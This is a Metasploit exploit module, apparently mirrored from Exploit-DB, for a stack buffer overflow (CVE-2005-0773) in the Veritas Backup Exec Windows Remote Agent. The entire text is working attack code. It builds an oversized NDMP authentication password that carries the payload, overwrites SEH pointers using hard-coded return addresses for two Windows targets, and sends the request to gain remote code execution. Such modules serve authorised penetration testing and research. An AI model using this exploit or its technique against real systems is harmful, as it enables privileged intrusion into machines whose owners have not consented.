Veritas Backup Exec Windows – Remote Agent Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16332/

• ##
  # $Id: remote_agent.rb 9669 2010-07-03 03:13:45Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::NDMP
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the Veritas
  				BackupExec Windows Agent software. This vulnerability occurs
  				when a client authentication request is received with type
  				'3' and a long password argument. Reliable execution is
  				obtained by abusing the stack buffer overflow to smash a SEH
  				pointer.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9669 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-0773'],
  					[ 'OSVDB', '17624'],
  					[ 'BID', '14022'],
  					[ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],
  					[ 'URL', 'http://seer.support.veritas.com/docs/276604.htm'],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'=>
  				[
  					[
  						'Veritas BE 9.0/9.1/10.0 (All Windows)',
  						{
  							'Platform' => 'win',
  							'Rets' => [ 0x0140f8d5, 0x014261b0 ],
  						},
  					],
  					[
  						'Veritas BE 9.0/9.1/10.0 (Windows 2000)',
  						{
  							'Platform' => 'win',
  							'Rets' => [ 0x75022ac4, 0x75022ac4 ],
  						},
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jun 22 2005'))
  
  		register_options(
  			[
  				Opt::RPORT(10000)
  			], self.class)
  	end
  
  	def check
  		info = ndmp_info()
  		if (info and info['Version'])
  			print_status(" Vendor: #{info['Vendor']}")
  			print_status("Product: #{info['Product']}")
  			print_status("Version: #{info['Version']}")
  
  			if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
  				return Exploit::CheckCode::Detected
  			end
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		resp = ndmp_recv()
  
  		username = 'X' * 512
  		password = rand_text_alphanumeric(8192)
  
  		# Place our payload early in the request and jump backwards into it
  		password[ 3536 - payload.encoded.length, payload.encoded.length] = payload.encoded
  
  		# This offset is required for version 10.0
  		password[3536, 2] = "\xeb\x06"
  		password[3540, 4] = [ target['Rets'][1] ].pack('V')
  		password[3544, 5] = "\xe9" + [-1037].pack('V')
  
  		# This offset is required for version 9.0/9.1
  		password[4524, 2] = "\xeb\x06"
  		password[4528, 4] = [ target['Rets'][0] ].pack('V')
  		password[4532, 5] = "\xe9" + [-2025].pack('V')
  
  		# Create the authentication request
  		auth = [
  				1, # Sequence number
  				Time.now.to_i, # Current time
  				0, # Message type (request)
  				0x901, # Message name (connect_client_auth)
  				0, # Reply sequence number
  				0, # Error status
  				3# Authentication type
  			].pack('NNNNNNN') +
  			[ username.length ].pack('N') + username +
  			[ password.length ].pack('N') + password +
  			[ 4 ].pack('N')
  
  		print_status("Sending authentication request...")
  		ndmp_send(auth)
  
  		handler
  		disconnect
  	end
  
  end